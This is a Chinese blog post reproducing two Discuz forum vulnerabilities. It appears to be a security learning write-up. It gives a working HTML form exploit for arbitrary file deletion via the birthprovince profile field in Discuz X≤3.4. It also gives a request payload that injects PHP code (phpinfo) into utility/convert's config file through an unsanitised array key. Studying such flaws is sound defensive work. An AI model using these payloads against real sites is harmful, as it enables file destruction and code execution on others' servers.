Discuz框架 部分漏洞整理

简单复现并记录一下

Posted by BY Diego on February 8, 2021

!X≤3.4任意文件删除漏洞

先注册用户

image-20210208190413356

先查看源码 找到formhash

image-20210208190707041

发如下包 birthprovince 参数值为删除文件的路径 是相对于"/data/attachment/profile而言的路径

需要跳三层才能到根目录

image-20210208193910893

formhash 为源码里的formhash

image-20210208190827209

之后再构造如下表单

formhash同样为上面的

<form action="http://10.211.55.4/Discuz_X3/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="c87af698"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

之后再选择一张有效图片 否则过不了代码的check 也就触发不了漏洞

image-20210208192830800

image-20210208192726504

提交之后就成功删除

image-20210208193334761

命令执行漏洞

但该目录一般不会对外访问,upload 作为网站根目录

image-20210208211818662

由于对 输入数组的键过滤不严谨导致 输入被写入文件从而命令执行(目前还没修复,一般也不太会出现)

漏洞位置utility/convert/include/global.func.php

image-20210208204923623

触发点位于utility/convert/index.php

首先从index.php进入do_config.inc.php

image-20210208205159593

条件1 首先满足source正确存在

image-20210208205415817

检索一下 存在很多随便选一个即可 如s=uch2.0_x1.5

image-20210208205605728

条件2 然后$action == 'config'a=config

image-20210208205939160

条件3 submitcheck()submit=1

条件4 newconfig为数组

满足上面四个条件即可进入save_config_file函数

发送如下data数据 将会在 utility/convert/data/config.inc.php 创建文件

a=config&s=uch2.0_x1.5&submit=1&newconfig['diego']='diego'

只有值进行了转译,因此可以代码注入(注入位置为注释部分)

image-20210208211214461

注入\r\n phpinfo();?> url编码后发送如下

a=config&s=uch2.0_x1.5&submit=1&newconfig[%0d%0aphpinfo();%3f%3e]=a;

image-20210208211500265

最后访问

image-20210208211703985